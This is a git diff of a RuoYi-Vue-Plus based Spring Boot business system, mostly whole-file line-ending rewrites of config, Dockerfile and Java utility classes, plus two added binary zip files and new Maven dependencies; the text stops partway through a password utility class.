diff --git a/.editorconfig b/.editorconfig index 25b312e..a3834f2 100644 --- a/.editorconfig +++ b/.editorconfig @@ -1,18 +1,18 @@ -# http://editorconfig.org -root = true - -# 空格替代Tab缩进在各种编辑工具下效果一致 -[*] -indent_style = space -indent_size = 4 -charset = utf-8 -end_of_line = lf -trim_trailing_whitespace = true -insert_final_newline = true - -[*.{json,yml,yaml}] -indent_size = 2 - -[*.md] -insert_final_newline = false -trim_trailing_whitespace = false +# http://editorconfig.org +root = true + +# 空格替代Tab缩进在各种编辑工具下效果一致 +[*] +indent_style = space +indent_size = 4 +charset = utf-8 +end_of_line = lf +trim_trailing_whitespace = true +insert_final_newline = true + +[*.{json,yml,yaml}] +indent_size = 2 + +[*.md] +insert_final_newline = false +trim_trailing_whitespace = false diff --git a/.gitignore b/.gitignore index 0e70380..45d6b3b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,54 +1,54 @@ -###################################################################### -# Build Tools - -.gradle -/build/ -!gradle/wrapper/gradle-wrapper.jar - -target/ -!.mvn/wrapper/maven-wrapper.jar - -###################################################################### -# IDE - -### STS ### -.apt_generated -.classpath -.factorypath -.project -.settings -.springBeans - -### IntelliJ IDEA ### -.idea -.vscode -.lingma -*.iws -*.iml -*.ipr - -### JRebel ### -rebel.xml - -### NetBeans ### -nbproject/private/ -build/* -nbbuild/ -nbdist/ -.nb-gradle/ - -###################################################################### -# Others -*.log -*.xml.versionsBackup -*.swp - -!*/build/*.java -!*/build/*.html -!*/build/*.xml - -.flattened-pom.xml -/logs/ -/ruoyi-admin/logs/ -/.vscode/ -/.lingma/ +###################################################################### +# Build Tools + +.gradle +/build/ +!gradle/wrapper/gradle-wrapper.jar + +target/ +!.mvn/wrapper/maven-wrapper.jar + +###################################################################### +# IDE + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans + +### IntelliJ IDEA ### +.idea +.vscode +.lingma +*.iws +*.iml +*.ipr + +### JRebel ### +rebel.xml + +### NetBeans ### +nbproject/private/ +build/* +nbbuild/ +nbdist/ +.nb-gradle/ + +###################################################################### +# Others +*.log +*.xml.versionsBackup +*.swp + +!*/build/*.java +!*/build/*.html +!*/build/*.xml + +.flattened-pom.xml +/logs/ +/ruoyi-admin/logs/ +/.vscode/ +/.lingma/ diff --git a/LICENSE b/LICENSE index 32b3071..856e91f 100644 --- a/LICENSE +++ b/LICENSE @@ -1,20 +1,20 @@ -The MIT License (MIT) - -Copyright (c) 2019 RuoYi-Vue-Plus - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +The MIT License (MIT) + +Copyright (c) 2019 RuoYi-Vue-Plus + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/bun.zip b/bun.zip new file mode 100644 index 0000000..74d1006 Binary files /dev/null and b/bun.zip differ diff --git a/node.zip b/node.zip new file mode 100644 index 0000000..ca75abb Binary files /dev/null and b/node.zip differ diff --git a/pom.xml b/pom.xml index 5c5fdbc..e2fb00e 100644 --- a/pom.xml +++ b/pom.xml @@ -1,531 +1,531 @@ - - - 4.0.0 - - org.dromara - ruoyi-vue-plus - ${revision} - - new-xgt - 效果图业务系统 - - - 5.2.3 - 3.3.5 - UTF-8 - UTF-8 - 22 - 3.5.16 - 2.7.0 - 0.15.0 - 5.2.3 - 4.0.3 - 2.3 - 1.39.0 - 3.5.9 - 3.9.1 - 5.8.31 - 3.3.4 - 3.39.0 - 2.2.7 - 4.3.1 - 2.14.4 - 1.2.0 - 1.4.5 - 0.2.0 - 1.18.34 - 1.76 - 1.16.6 - - 2.7.0 - - - 2.28.22 - 0.31.3 - - 3.3.3 - - 1.2.83 - - 8.7.2-20241022 - - 7.0.1 - - - 3.2.2 - 3.2.2 - 3.11.0 - 3.1.2 - 1.3.0 - - - - - local - - - local - info - ruoyi - 123456 - - - - dev - - - dev - info - ruoyi - 123456 - - - - true - - - - prod - - prod - warn - ruoyi - 123456 - - - - - - - - - - - org.springframework.boot - spring-boot-dependencies - ${spring-boot.version} - pom - import - - - - - cn.hutool - hutool-bom - ${hutool.version} - pom - import - - - - org.flowable - flowable-bom - ${flowable.version} - pom - import - - - - - me.zhyd.oauth - JustAuth - ${justauth.version} - - - - - org.dromara - ruoyi-common-bom - ${revision} - pom - import - - - - org.springdoc - springdoc-openapi-starter-webmvc-api - ${springdoc.version} - - - - com.github.therapi - therapi-runtime-javadoc - ${therapi-javadoc.version} - - - - org.projectlombok - lombok - ${lombok.version} - - - - org.apache.poi - poi - ${poi.version} - - - org.apache.poi - poi-ooxml - ${poi.version} - - - com.alibaba - easyexcel - ${easyexcel.version} - - - org.apache.poi - poi-ooxml-schemas - - - - - - - org.apache.velocity - velocity-engine-core - ${velocity.version} - - - - - cn.dev33 - sa-token-spring-boot3-starter - ${satoken.version} - - - - cn.dev33 - sa-token-jwt - ${satoken.version} - - - cn.hutool - hutool-all - - - - - cn.dev33 - sa-token-core - ${satoken.version} - - - - - com.baomidou - dynamic-datasource-spring-boot3-starter - ${dynamic-ds.version} - - - - org.mybatis - mybatis - ${mybatis.version} - - - - com.baomidou - mybatis-plus-spring-boot3-starter - ${mybatis-plus.version} - - - - com.baomidou - mybatis-plus-jsqlparser - ${mybatis-plus.version} - - - - com.baomidou - mybatis-plus-annotation - ${mybatis-plus.version} - - - - - p6spy - p6spy - ${p6spy.version} - - - - - software.amazon.awssdk - s3 - ${aws.sdk.version} - - - - software.amazon.awssdk.crt - aws-crt - ${aws.crt.version} - - - - software.amazon.awssdk - s3-transfer-manager - ${aws.sdk.version} - - - - org.dromara.sms4j - sms4j-spring-boot-starter - ${sms4j.version} - - - - de.codecentric - spring-boot-admin-starter-server - ${spring-boot-admin.version} - - - de.codecentric - spring-boot-admin-starter-client - ${spring-boot-admin.version} - - - - - org.redisson - redisson-spring-boot-starter - ${redisson.version} - - - - com.baomidou - lock4j-redisson-spring-boot-starter - ${lock4j.version} - - - - - com.aizuda - snail-job-client-starter - ${snailjob.version} - - - com.aizuda - snail-job-client-job-core - ${snailjob.version} - - - - com.alibaba - transmittable-thread-local - ${alibaba-ttl.version} - - - - - org.bouncycastle - bcprov-jdk15to18 - ${bouncycastle.version} - - - - io.github.linpeilie - mapstruct-plus-spring-boot-starter - ${mapstruct-plus.version} - - - - - org.lionsoul - ip2region - ${ip2region.version} - - - - commons-io - commons-io - 2.15.0 - - - - com.alibaba - fastjson - ${fastjson.version} - - - - org.dromara - ruoyi-system - ${revision} - - - - org.dromara - ruoyi-job - ${revision} - - - - org.dromara - ruoyi-generator - ${revision} - - - - org.dromara - ruoyi-demo - ${revision} - - - - - org.dromara - ruoyi-workflow - ${revision} - - - - org.dromara - ruoyi-work - ${revision} - - - - - - - ruoyi-admin - ruoyi-common - ruoyi-extend - ruoyi-modules - - pom - - - - - org.apache.maven.plugins - maven-compiler-plugin - ${maven-compiler-plugin.version} - - ${java.version} - ${java.version} - ${project.build.sourceEncoding} - - - com.github.therapi - therapi-runtime-javadoc-scribe - ${therapi-javadoc.version} - - - org.projectlombok - lombok - ${lombok.version} - - - org.springframework.boot - spring-boot-configuration-processor - ${spring-boot.version} - - - io.github.linpeilie - mapstruct-plus-processor - ${mapstruct-plus.version} - - - org.projectlombok - lombok-mapstruct-binding - ${mapstruct-plus.lombok.version} - - - - -parameters - - - - - - org.apache.maven.plugins - maven-surefire-plugin - ${maven-surefire-plugin.version} - - -Dfile.encoding=UTF-8 - - ${profiles.active} - - exclude - - - - - org.codehaus.mojo - flatten-maven-plugin - ${flatten-maven-plugin.version} - - true - resolveCiFriendliesOnly - - - - flatten - process-resources - - flatten - - - - flatten.clean - clean - - clean - - - - - - - - src/main/resources - - false - - - src/main/resources - - - application* - bootstrap* - banner* - - - true - - - - - - - public - huawei nexus - https://mirrors.huaweicloud.com/repository/maven/ - - true - - - - - - - public - huawei nexus - https://mirrors.huaweicloud.com/repository/maven/ - - true - - - false - - - - - - - + + + 4.0.0 + + org.dromara + ruoyi-vue-plus + ${revision} + + new-xgt + 效果图业务系统 + + + 5.2.3 + 3.3.5 + UTF-8 + UTF-8 + 22 + 3.5.16 + 2.7.0 + 0.15.0 + 5.2.3 + 4.0.3 + 2.3 + 1.39.0 + 3.5.9 + 3.9.1 + 5.8.31 + 3.3.4 + 3.39.0 + 2.2.7 + 4.3.1 + 2.14.4 + 1.2.0 + 1.4.5 + 0.2.0 + 1.18.34 + 1.76 + 1.16.6 + + 2.7.0 + + + 2.28.22 + 0.31.3 + + 3.3.3 + + 1.2.83 + + 8.7.2-20241022 + + 7.0.1 + + + 3.2.2 + 3.2.2 + 3.11.0 + 3.1.2 + 1.3.0 + + + + + local + + + local + info + ruoyi + 123456 + + + + dev + + + dev + info + ruoyi + 123456 + + + + true + + + + prod + + prod + warn + ruoyi + 123456 + + + + + + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + cn.hutool + hutool-bom + ${hutool.version} + pom + import + + + + org.flowable + flowable-bom + ${flowable.version} + pom + import + + + + + me.zhyd.oauth + JustAuth + ${justauth.version} + + + + + org.dromara + ruoyi-common-bom + ${revision} + pom + import + + + + org.springdoc + springdoc-openapi-starter-webmvc-api + ${springdoc.version} + + + + com.github.therapi + therapi-runtime-javadoc + ${therapi-javadoc.version} + + + + org.projectlombok + lombok + ${lombok.version} + + + + org.apache.poi + poi + ${poi.version} + + + org.apache.poi + poi-ooxml + ${poi.version} + + + com.alibaba + easyexcel + ${easyexcel.version} + + + org.apache.poi + poi-ooxml-schemas + + + + + + + org.apache.velocity + velocity-engine-core + ${velocity.version} + + + + + cn.dev33 + sa-token-spring-boot3-starter + ${satoken.version} + + + + cn.dev33 + sa-token-jwt + ${satoken.version} + + + cn.hutool + hutool-all + + + + + cn.dev33 + sa-token-core + ${satoken.version} + + + + + com.baomidou + dynamic-datasource-spring-boot3-starter + ${dynamic-ds.version} + + + + org.mybatis + mybatis + ${mybatis.version} + + + + com.baomidou + mybatis-plus-spring-boot3-starter + ${mybatis-plus.version} + + + + com.baomidou + mybatis-plus-jsqlparser + ${mybatis-plus.version} + + + + com.baomidou + mybatis-plus-annotation + ${mybatis-plus.version} + + + + + p6spy + p6spy + ${p6spy.version} + + + + + software.amazon.awssdk + s3 + ${aws.sdk.version} + + + + software.amazon.awssdk.crt + aws-crt + ${aws.crt.version} + + + + software.amazon.awssdk + s3-transfer-manager + ${aws.sdk.version} + + + + org.dromara.sms4j + sms4j-spring-boot-starter + ${sms4j.version} + + + + de.codecentric + spring-boot-admin-starter-server + ${spring-boot-admin.version} + + + de.codecentric + spring-boot-admin-starter-client + ${spring-boot-admin.version} + + + + + org.redisson + redisson-spring-boot-starter + ${redisson.version} + + + + com.baomidou + lock4j-redisson-spring-boot-starter + ${lock4j.version} + + + + + com.aizuda + snail-job-client-starter + ${snailjob.version} + + + com.aizuda + snail-job-client-job-core + ${snailjob.version} + + + + com.alibaba + transmittable-thread-local + ${alibaba-ttl.version} + + + + + org.bouncycastle + bcprov-jdk15to18 + ${bouncycastle.version} + + + + io.github.linpeilie + mapstruct-plus-spring-boot-starter + ${mapstruct-plus.version} + + + + + org.lionsoul + ip2region + ${ip2region.version} + + + + commons-io + commons-io + 2.15.0 + + + + com.alibaba + fastjson + ${fastjson.version} + + + + org.dromara + ruoyi-system + ${revision} + + + + org.dromara + ruoyi-job + ${revision} + + + + org.dromara + ruoyi-generator + ${revision} + + + + org.dromara + ruoyi-demo + ${revision} + + + + + org.dromara + ruoyi-workflow + ${revision} + + + + org.dromara + ruoyi-work + ${revision} + + + + + + + ruoyi-admin + ruoyi-common + ruoyi-extend + ruoyi-modules + + pom + + + + + org.apache.maven.plugins + maven-compiler-plugin + ${maven-compiler-plugin.version} + + ${java.version} + ${java.version} + ${project.build.sourceEncoding} + + + com.github.therapi + therapi-runtime-javadoc-scribe + ${therapi-javadoc.version} + + + org.projectlombok + lombok + ${lombok.version} + + + org.springframework.boot + spring-boot-configuration-processor + ${spring-boot.version} + + + io.github.linpeilie + mapstruct-plus-processor + ${mapstruct-plus.version} + + + org.projectlombok + lombok-mapstruct-binding + ${mapstruct-plus.lombok.version} + + + + -parameters + + + + + + org.apache.maven.plugins + maven-surefire-plugin + ${maven-surefire-plugin.version} + + -Dfile.encoding=UTF-8 + + ${profiles.active} + + exclude + + + + + org.codehaus.mojo + flatten-maven-plugin + ${flatten-maven-plugin.version} + + true + resolveCiFriendliesOnly + + + + flatten + process-resources + + flatten + + + + flatten.clean + clean + + clean + + + + + + + + src/main/resources + + false + + + src/main/resources + + + application* + bootstrap* + banner* + + + true + + + + + + + public + huawei nexus + https://mirrors.huaweicloud.com/repository/maven/ + + true + + + + + + + public + huawei nexus + https://mirrors.huaweicloud.com/repository/maven/ + + true + + + false + + + + + + + diff --git a/ruoyi-admin/Dockerfile b/ruoyi-admin/Dockerfile index e0be8ae..4886e0c 100644 --- a/ruoyi-admin/Dockerfile +++ b/ruoyi-admin/Dockerfile @@ -1,28 +1,28 @@ -# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ -FROM bellsoft/liberica-openjdk-debian:17.0.11-cds -#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds -#FROM findepi/graalvm:java17-native - -LABEL maintainer="Lion Li" - -RUN mkdir -p /ruoyi/server/logs \ - /ruoyi/server/temp \ - /ruoyi/skywalking/agent - -WORKDIR /ruoyi/server - -ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" - -EXPOSE ${SERVER_PORT} - -ADD ./target/ruoyi-admin.jar ./app.jar - -SHELL ["/bin/bash", "-c"] - -ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \ - # 应用名称 如果想区分集群节点监控 改成不同的名称即可 - #-Dskywalking.agent.service_name=ruoyi-server \ - #-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \ - -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ - -jar app.jar - +# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ +FROM bellsoft/liberica-openjdk-debian:17.0.11-cds +#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds +#FROM findepi/graalvm:java17-native + +LABEL maintainer="Lion Li" + +RUN mkdir -p /ruoyi/server/logs \ + /ruoyi/server/temp \ + /ruoyi/skywalking/agent + +WORKDIR /ruoyi/server + +ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" + +EXPOSE ${SERVER_PORT} + +ADD ./target/ruoyi-admin.jar ./app.jar + +SHELL ["/bin/bash", "-c"] + +ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \ + # 应用名称 如果想区分集群节点监控 改成不同的名称即可 + #-Dskywalking.agent.service_name=ruoyi-server \ + #-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \ + -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ + -jar app.jar + diff --git a/ruoyi-admin/pom.xml b/ruoyi-admin/pom.xml index 4ddee14..3d691d4 100644 --- a/ruoyi-admin/pom.xml +++ b/ruoyi-admin/pom.xml @@ -1,146 +1,155 @@ - - - - ruoyi-vue-plus - org.dromara - ${revision} - - 4.0.0 - jar - xgt-admin - - - web服务入口 - - - - + + + + ruoyi-vue-plus + org.dromara + ${revision} + + 4.0.0 + jar + xgt-admin + + + web服务入口 + + + + com.mysql mysql-connector-j + 8.4.0 - - - - - - - - - - - - - - - - - - - - - - - - - org.dromara - ruoyi-common-doc - - - - org.dromara - ruoyi-common-social - - - - org.dromara - ruoyi-common-ratelimiter - - - - org.dromara - ruoyi-common-mail - - - - org.dromara - ruoyi-system - - - - org.dromara - ruoyi-job - - - - - org.dromara - ruoyi-generator - - - - org.dromara - ruoyi-work - - - - de.codecentric - spring-boot-admin-starter-client - - + + + + + + + + + + + + + + + + + + + + + + + + + org.dromara + ruoyi-common-doc + + + + org.dromara + ruoyi-common-social + + + + org.dromara + ruoyi-common-ratelimiter + + + + org.dromara + ruoyi-common-mail + + + + org.dromara + ruoyi-system + + + + org.dromara + ruoyi-job + + + + + org.dromara + ruoyi-generator + + + + org.dromara + ruoyi-work + + + + de.codecentric + spring-boot-admin-starter-client + + org.springframework.boot spring-boot-starter-test test - - - - - - - - - - - - - - - - ${project.artifactId} - - - org.springframework.boot - spring-boot-maven-plugin - ${spring-boot.version} - - - - repackage - - - - - - org.apache.maven.plugins - maven-jar-plugin - ${maven-jar-plugin.version} - - - org.apache.maven.plugins - maven-war-plugin - ${maven-war-plugin.version} - - false - ${project.artifactId} - - - - - - + + + org.springframework.boot + spring-boot-devtools + runtime + true + + + + + + + + + + + + + + + + + + ${project.artifactId} + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + + + repackage + + + + + + org.apache.maven.plugins + maven-jar-plugin + ${maven-jar-plugin.version} + + + org.apache.maven.plugins + maven-war-plugin + ${maven-war-plugin.version} + + false + ${project.artifactId} + + + + + + diff --git a/ruoyi-admin/src/main/java/org/dromara/XgtAdminApplication.java b/ruoyi-admin/src/main/java/org/dromara/XgtAdminApplication.java index bd35d05..b38d507 100644 --- a/ruoyi-admin/src/main/java/org/dromara/XgtAdminApplication.java +++ b/ruoyi-admin/src/main/java/org/dromara/XgtAdminApplication.java @@ -1,23 +1,23 @@ -package org.dromara; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup; - -/** - * 启动程序 - * - * @author Lion Li - */ - -@SpringBootApplication -public class XgtAdminApplication { - - public static void main(String[] args) { - SpringApplication application = new SpringApplication(XgtAdminApplication.class); - application.setApplicationStartup(new BufferingApplicationStartup(2048)); - application.run(args); - System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙"); - } - -} +package org.dromara; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup; + +/** + * 启动程序 + * + * @author Lion Li + */ + +@SpringBootApplication +public class XgtAdminApplication { + + public static void main(String[] args) { + SpringApplication application = new SpringApplication(XgtAdminApplication.class); + application.setApplicationStartup(new BufferingApplicationStartup(2048)); + application.run(args); + System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙"); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/XgtAdminServletInitializer.java b/ruoyi-admin/src/main/java/org/dromara/XgtAdminServletInitializer.java index 20a2886..86e9c37 100644 --- a/ruoyi-admin/src/main/java/org/dromara/XgtAdminServletInitializer.java +++ b/ruoyi-admin/src/main/java/org/dromara/XgtAdminServletInitializer.java @@ -1,18 +1,18 @@ -package org.dromara; - -import org.springframework.boot.builder.SpringApplicationBuilder; -import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; - -/** - * web容器中进行部署 - * - * @author Lion Li - */ -public class XgtAdminServletInitializer extends SpringBootServletInitializer { - - @Override - protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { - return application.sources(XgtAdminApplication.class); - } - -} +package org.dromara; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +/** + * web容器中进行部署 + * + * @author Lion Li + */ +public class XgtAdminServletInitializer extends SpringBootServletInitializer { + + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { + return application.sources(XgtAdminApplication.class); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/HttpContextUtils.java b/ruoyi-admin/src/main/java/org/dromara/web/common/HttpContextUtils.java index db7d3ab..3bf352a 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/HttpContextUtils.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/HttpContextUtils.java @@ -1,36 +1,36 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ - -package org.dromara.web.common; - -import jakarta.servlet.http.HttpServletRequest; -import org.springframework.web.context.request.RequestContextHolder; -import org.springframework.web.context.request.ServletRequestAttributes; - -/** - * @author lanhai - */ -public class HttpContextUtils { - - public static HttpServletRequest getHttpServletRequest() { - return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); - } - - public static String getDomain(){ - HttpServletRequest request = getHttpServletRequest(); - StringBuffer url = request.getRequestURL(); - return url.delete(url.length() - request.getRequestURI().length(), url.length()).toString(); - } - - public static String getOrigin(){ - HttpServletRequest request = getHttpServletRequest(); - return request.getHeader("Origin"); - } -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ + +package org.dromara.web.common; + +import jakarta.servlet.http.HttpServletRequest; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +/** + * @author lanhai + */ +public class HttpContextUtils { + + public static HttpServletRequest getHttpServletRequest() { + return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); + } + + public static String getDomain(){ + HttpServletRequest request = getHttpServletRequest(); + StringBuffer url = request.getRequestURL(); + return url.delete(url.length() - request.getRequestURI().length(), url.length()).toString(); + } + + public static String getOrigin(){ + HttpServletRequest request = getHttpServletRequest(); + return request.getHeader("Origin"); + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/OauthCacheNames.java b/ruoyi-admin/src/main/java/org/dromara/web/common/OauthCacheNames.java index a2d7572..499b845 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/OauthCacheNames.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/OauthCacheNames.java @@ -1,38 +1,38 @@ -package org.dromara.web.common; - -/** - * @author 菠萝凤梨 - * @date 2022/3/28 14:32 - */ -public interface OauthCacheNames { - - /** - * oauth 授权相关key - */ - String OAUTH_PREFIX = "mall4j_oauth:"; - - /** - * token 授权相关key - */ - String OAUTH_TOKEN_PREFIX = OAUTH_PREFIX + "token:"; - - /** - * 保存token 缓存使用key - */ - String ACCESS = OAUTH_TOKEN_PREFIX + "access:"; - - /** - * 刷新token 缓存使用key - */ - String REFRESH_TO_ACCESS = OAUTH_TOKEN_PREFIX + "refresh_to_access:"; - - /** - * 根据uid获取保存的token key缓存使用的key - */ - String UID_TO_ACCESS = OAUTH_TOKEN_PREFIX + "uid_to_access:"; - - /** - * 保存token的用户信息使用的key - */ - String USER_INFO = OAUTH_TOKEN_PREFIX + "user_info:"; -} +package org.dromara.web.common; + +/** + * @author 菠萝凤梨 + * @date 2022/3/28 14:32 + */ +public interface OauthCacheNames { + + /** + * oauth 授权相关key + */ + String OAUTH_PREFIX = "mall4j_oauth:"; + + /** + * token 授权相关key + */ + String OAUTH_TOKEN_PREFIX = OAUTH_PREFIX + "token:"; + + /** + * 保存token 缓存使用key + */ + String ACCESS = OAUTH_TOKEN_PREFIX + "access:"; + + /** + * 刷新token 缓存使用key + */ + String REFRESH_TO_ACCESS = OAUTH_TOKEN_PREFIX + "refresh_to_access:"; + + /** + * 根据uid获取保存的token key缓存使用的key + */ + String UID_TO_ACCESS = OAUTH_TOKEN_PREFIX + "uid_to_access:"; + + /** + * 保存token的用户信息使用的key + */ + String USER_INFO = OAUTH_TOKEN_PREFIX + "user_info:"; +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/PageParam.java b/ruoyi-admin/src/main/java/org/dromara/web/common/PageParam.java index b6524db..b4111a9 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/PageParam.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/PageParam.java @@ -1,128 +1,128 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ - -package org.dromara.web.common; - -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.fasterxml.jackson.annotation.JsonIgnore; -import io.swagger.v3.oas.annotations.Hidden; -import io.swagger.v3.oas.annotations.media.Schema; -import org.springdoc.core.annotations.ParameterObject; - -import java.util.List; - -/** - * @author lanhai - */ -@Schema -@ParameterObject -public class PageParam extends Page { - - - /** - * 每页显示条数,默认 10 - */ - @Schema(description = "每页大小,默认10") - private long size = 10; - - /** - * 当前页 - */ - @Schema(description = "当前页,默认1") - private long current = 1; - - /** - * 查询数据列表 - */ - @Hidden - private List records; - /** - * 总数 - */ - @Hidden - private long total = 0; - - - /** - * 是否进行 count 查询 - */ - @JsonIgnore - private boolean isSearchCount = true; - - @JsonIgnore - private String countId; - @JsonIgnore - private Long maxLimit; - @JsonIgnore - private boolean optimizeCountSql; - - @Override - public List getRecords() { - return this.records; - } - - @Override - public Page setRecords(List records) { - this.records = records; - return this; - } - - @Override - public long getTotal() { - return this.total; - } - - @Override - public Page setTotal(long total) { - this.total = total; - return this; - } - - @JsonIgnore - public boolean getSearchCount() { - if (total < 0) { - return false; - } - return isSearchCount; - } - - @Override - public Page setSearchCount(boolean isSearchCount) { - this.isSearchCount = isSearchCount; - return this; - } - - @Override - public long getSize() { - return this.size; - } - - @Override - public Page setSize(long size) { - int maxSize = 100; - if (size > maxSize) { - this.size = maxSize; - } else { - this.size = size; - } - return this; - } - - @Override - public long getCurrent() { - return this.current; - } - - @Override - public Page setCurrent(long current) { - this.current = current; - return this; - } -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ + +package org.dromara.web.common; + +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.fasterxml.jackson.annotation.JsonIgnore; +import io.swagger.v3.oas.annotations.Hidden; +import io.swagger.v3.oas.annotations.media.Schema; +import org.springdoc.core.annotations.ParameterObject; + +import java.util.List; + +/** + * @author lanhai + */ +@Schema +@ParameterObject +public class PageParam extends Page { + + + /** + * 每页显示条数,默认 10 + */ + @Schema(description = "每页大小,默认10") + private long size = 10; + + /** + * 当前页 + */ + @Schema(description = "当前页,默认1") + private long current = 1; + + /** + * 查询数据列表 + */ + @Hidden + private List records; + /** + * 总数 + */ + @Hidden + private long total = 0; + + + /** + * 是否进行 count 查询 + */ + @JsonIgnore + private boolean isSearchCount = true; + + @JsonIgnore + private String countId; + @JsonIgnore + private Long maxLimit; + @JsonIgnore + private boolean optimizeCountSql; + + @Override + public List getRecords() { + return this.records; + } + + @Override + public Page setRecords(List records) { + this.records = records; + return this; + } + + @Override + public long getTotal() { + return this.total; + } + + @Override + public Page setTotal(long total) { + this.total = total; + return this; + } + + @JsonIgnore + public boolean getSearchCount() { + if (total < 0) { + return false; + } + return isSearchCount; + } + + @Override + public Page setSearchCount(boolean isSearchCount) { + this.isSearchCount = isSearchCount; + return this; + } + + @Override + public long getSize() { + return this.size; + } + + @Override + public Page setSize(long size) { + int maxSize = 100; + if (size > maxSize) { + this.size = maxSize; + } else { + this.size = size; + } + return this; + } + + @Override + public long getCurrent() { + return this.current; + } + + @Override + public Page setCurrent(long current) { + this.current = current; + return this; + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/PasswordManager.java b/ruoyi-admin/src/main/java/org/dromara/web/common/PasswordManager.java index c652534..08f3706 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/PasswordManager.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/PasswordManager.java @@ -1,53 +1,53 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 